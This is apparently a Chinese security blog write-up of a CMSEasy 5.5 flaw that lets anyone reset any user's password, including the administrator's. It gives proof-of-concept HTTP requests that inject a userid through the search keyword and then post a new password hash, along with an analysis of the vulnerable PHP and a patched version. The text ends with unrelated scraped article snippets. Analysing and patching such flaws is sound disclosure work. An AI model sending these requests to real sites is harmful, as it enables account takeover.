CMSEASY /lib/tool/front_class.php arbitrary user password reset vulnerability

catalog

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

攻击者通过构造特殊的HTTP包,可以直接重置任意用户(包括管理员)的密码

Relevant Link:

http://www.cmseasy.cn/patch/show_919.html

2. 漏洞触发条件

0x1: POC

1. 首先利用search_action控制userid的值
http://localhost/CmsEasy_5.5/index.php?case=form&act=search&catid=8&form=my_yingpin
POST
keyword=|userid|i:1;"1"
2. 利用edit_action修改用户密码和其它资料
http://localhost/CmsEasy_5.5/index.php?case=user&act=edit
POST
password=3e503e8736acae9b3893629da7008fc0&nickname=ali&question=ali&answer=ali&qq=00000&e_mail=000%40test.com&tel=00000&address=&intro=&submit=%E6%8F%90%E4%BA%A4

3. 漏洞影响范围

4. 漏洞代码分析

/lib/default/user_act.php

function edit_action()
{
    if(front::post(‘submit‘))
    {
        unset(front::$post[‘groupid‘]);
        unset(front::$post[‘powerlist‘]);
        if(!is_email(front::$post[‘e_mail‘]))
        {
            alerterror(‘邮箱格式不对‘);
        }
        foreach (front::$post as $k => $v)
        {
            if(is_array($v) && !empty($v))
            {
                front::$post[$k] = implode(‘,‘, $v);
            }
            front::check_type(front::post($k), ‘safe‘);
        }
        //通过取session的userid字段更新该用户资料
        $this->_user->rec_update(front::$post,‘userid=‘.session::get(‘userid‘));
        front::flash(lang(‘修改资料成功!‘));
        front::redirect(url::create(‘user/index‘));
    }
    $this->view->data=$this->view->user;
}

edit_action函数实现修改用户资料,通过取sesson中的userid字段来更改。所以攻击路径必须能控制生成session中的userid字段,控制生成session的函数位置: /lib/default/form_act.php
我们继续回溯这个漏洞

function search_action()
{
    if(front::get(‘keyword‘) &&!front::post(‘keyword‘))
    {
        front::$post[‘keyword‘]=front::get(‘keyword‘);
    }
    front::check_type(front::post(‘keyword‘),‘safe‘);
    //获取POST数据中的keyword参数
    if(front::post(‘keyword‘))
    {
        $this->view->keyword=trim(front::post(‘keyword‘));
        if(inject_check($this->view->keyword))
        {
            exit(‘非法请求!‘);
        }
        //通过恶意检测之后,通过session保存keyword参数
        session::set(‘keyword‘,$this->view->keyword);
    }
    else
    {
        session::set(‘keyword‘,null);
        $this->view->keyword=session::get(‘keyword‘);
    }
    if(inject_check($this->view->keyword))
    {
        exit(‘非法请求!‘);
    }
    var_dump($this->view->keyword);

    $type = $this->view->type;
    $condition = "";
    if(front::post(‘catid‘))
    {
        $condition .= "catid = ‘".front::post(‘catid‘)."‘ AND ";
    }
    $condition .= "(title like ‘%".$this->view->keyword."%‘";
    $sets=settings::getInstance()->getrow(array(‘tag‘=>‘table-fieldset‘));
    $arr = unserialize($sets[‘value‘]);
    if(is_array($arr[‘archive‘]) &&!empty($arr[‘archive‘]))
    {
        foreach ($arr[‘archive‘] as $v)
        {
            if($v[‘issearch‘] == ‘1‘)
            {
                $condition .= " OR {$v[‘name‘]} like ‘%{$this->view->keyword}%‘";
            }
        }
    }
    $condition .= ")";
    $order = "`listorder` desc,1 DESC";
    $limit=(($this->view->page-1)*$this->pagesize).‘,‘.$this->pagesize;
    $articles=$this->archive->getrows($condition,$limit,$order);
    foreach($articles as $order=>$arc)
    {
        $articles[$order][‘url‘]=archive::url($arc);
        $articles[$order][‘catname‘]=category::name($arc[‘catid‘]);
        $articles[$order][‘caturl‘]=category::url($arc[‘catid‘]);
        $articles[$order][‘adddate‘]= sdate($arc[‘adddate‘]);
        $articles[$order][‘stitle‘]= strip_tags($arc[‘title‘]);
    }
    $this->view->articles=$articles;
    $this->view->archives=$articles;
    $this->view->record_count=$this->archive->record_count;
}

从访问控制的角度来看,这个漏洞有两个原因导致

1. session不应该由攻击者随便修改,导致keyword被注入修改,这是一个平行权限漏洞
2. 修改密码的入口来自于"用户资料修改",UI界面上只提供了普通身份资料的修改,但是因此MVC框架对POST数据进行了遍历,取出所有字段并进行了数据表更新操作,导致发生了表单字段注入

5. 防御方法

将代码逻辑和UI逻辑进行统一,防止出现表单字段注入
/lib/default/user_act.php

function edit_action()
{
    //die(var_dump(front::post));
    if(front::post(‘submit‘))
    {
        unset(front::$post[‘groupid‘]);
        unset(front::$post[‘powerlist‘]);
        if(!is_email(front::$post[‘e_mail‘]))
        {
        alerterror(‘邮箱格式不对‘);
        }
        /**/
        $tmp = front::$post;
        unset($tmp[‘password‘]);
        front::$post = $tmp;
        /**/
        foreach (front::$post as $k => $v)
        {
            if(is_array($v) && !empty($v))
        {
                front::$post[$k] = implode(‘,‘, $v);
            }
            front::check_type(front::post($k), ‘safe‘);
        }
        //通过取session的userid字段更新该用户资料
        $this->_user->rec_update(front::$post,‘userid=‘.session::get(‘userid‘));
        front::flash(lang(‘修改资料成功!‘));
        front::redirect(url::create(‘user/index‘));
    }
    $this->view->data=$this->view->user;
}

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

时间: 2024-10-10 01:36:15

CMSEASY /lib/tool/front_class.php arbitrary user password reset vulnerability的相关文章

Windows server 2008 R2 & Win 7 Password reset

For Windows server 2008 R2Password reset: (Usethe Microsoft Technology to decrypt the password) Prepare the WINPE ISO winpe3_amd64.iso WindowsPreinstallation Environment https://en.wikipedia.org/wiki/Windows_Preinstallation_Environment Howto Create a

Customizing and Overriding User Login page, Register, and Password Reset in Drupal 6 and 7

Customizing the user login, register, and password reset pages is fairly simple, and uses the following concepts: preprocessing to set variables registration of functions in the theme registry creation of one or more theme templates. Step 1.In the si

jenkins password reset

  0. SSH to server 1. Edit /opt/bitnami/apps/jenkins/jenkins_home/config.xml 2. set userSecurity to false: <userSecurity>false</userSecurity> 3. delete <authorizationStrategy> and <securityRealm> 4. /etc/init.d/bitnami restart Now

Windows Azure Active Directory (4) China Azure AD Self Password Reset

<Windows Azure Platform 系列文章目录> 本文介绍的是国内由世纪互联运维的Azure China. 在开始本章内容之前,请读者熟悉笔者之前写的文档: Windows Azure Active Directory (3) China Azure AD增加新用户 在开始本章内容之前,注意: 1.你需要一个Azure China的订阅 2.添加的新用户必须为全局管理员 3.必须要有一个可以验证激活码的邮箱系统 本文内容分为三个部分: 1.添加全局管理员 2.进行密码重置 1.首

Community Partner User password reset / 重置合作伙伴用户的密码

生成合作伙伴用户并没有特殊要求,但是直接重置密码会发生以下错误 "无法重置一个或多个外部用户的密码,因为外部用户不属于任何已启用社区." "Passwords for one or more external users were unable to be reset because the external users do not belong to any active community." 原因是在开发时并没有强制要求启用社区,需要在「Customize」

Metasploit辅助模块

msf > show auxiliary Auxiliary ========= Name                                                  Disclosure Date  Rank       Description ----                                                  ---------------  ----       ----------- admin/2wire/xslt_pass

ERROR 2002 (HY000): Can&#39;t connect to local MySQL server through socket &#39;/var/lib/mysql/mysql.sock&#39; (2) 的解决办法

更换mysql数据目录后出现ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) 的解决办法 于是关闭mysql服务: service mysqld stop 转移mysql数据目录 mv /var/lib/mysql/ /data/ 编辑my.cnf vi /etc/my.cnf 修改其中的datadir和socket到新的路径 [mysqld

vue中报错: * zrender/lib/contain/line in ./node_modules/[email&#160;protected]@echarts/lib/cha

1.报错背景:之前一切正常,然后项目需要上传到svn上,我把写好的项目换了个位置,上传.运行,结果竟然报了 361个错!!! 项目中使用了echarts,报错信息如下: ERROR Failed to compile with 361 errors 11:34:57 These dependencies were not found: * zrender/lib/contain/line in ./node_modules/[email protected]@echarts/lib/chart/

How To Reset Your Forgotten Root Password On CentOS 7 Servers

Sometimes you forget stuff. I do. I forget important passwords for important websites sometimes. Retrieving your forgotten passwords for most websites is easy, all one has to do remember few details that were used when signing up for the service to g